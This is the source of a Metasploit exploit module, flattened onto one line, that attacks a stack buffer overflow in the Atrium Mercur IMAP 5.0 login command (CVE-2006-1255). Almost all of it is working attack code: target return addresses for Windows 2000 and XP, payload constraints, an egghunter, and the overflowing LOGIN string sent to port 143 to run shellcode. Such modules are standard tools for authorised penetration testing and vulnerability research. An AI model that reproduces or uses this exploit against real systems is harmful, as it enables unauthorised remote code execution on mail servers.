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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 | ## # $Id: mercur_login.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Egghunter def initialize(info = {}) super(update_info(info, 'Name' => 'Mercur Messaging 2005 IMAP Login Buffer Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in Atrium Mercur IMAP 5.0 SP3. Since the room for shellcode is small, using the reverse ordinal payloads yields the best results. }, 'Author' => [ 'MC' ], 'License'=> MSF_LICENSE, 'Version'=> '$Revision: 10150 $', 'References' => [ [ 'CVE', '2006-1255' ], [ 'OSVDB', '23950' ], [ 'BID', '17138' ], [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-03/1104.html' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload'=> { 'Space'=> 228, 'BadChars' => "\x00\x20\x2c\x3a\x40", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", }, 'Platform' => 'win', 'Targets'=> [ [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec68b } ], [ 'Windows XP Pro SP2 English', { 'Ret' => 0x77dc15c0 } ], ], 'DisclosureDate' => 'Mar 17 2006', 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(143) ], self.class ) end def exploit connect sock.get_once hunter= generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) egg = hunter[1] sploit ="A001 LOGIN " + egg + hunter[0] sploit << [target.ret].pack('V') + [0xe9, -175].pack('CV') print_status("Trying target #{target.name}...") sock.put(sploit + "\r\n") handler disconnect end end |
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